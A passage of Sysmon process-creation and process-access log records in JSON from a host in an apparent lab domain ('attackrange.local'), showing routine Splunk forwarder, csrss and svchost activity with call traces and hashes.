System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nTargetProcessId: 3788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7d48|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","TargetProcessId":"3788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7d48|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nTargetProcessId: 3788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","TargetProcessId":"3788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 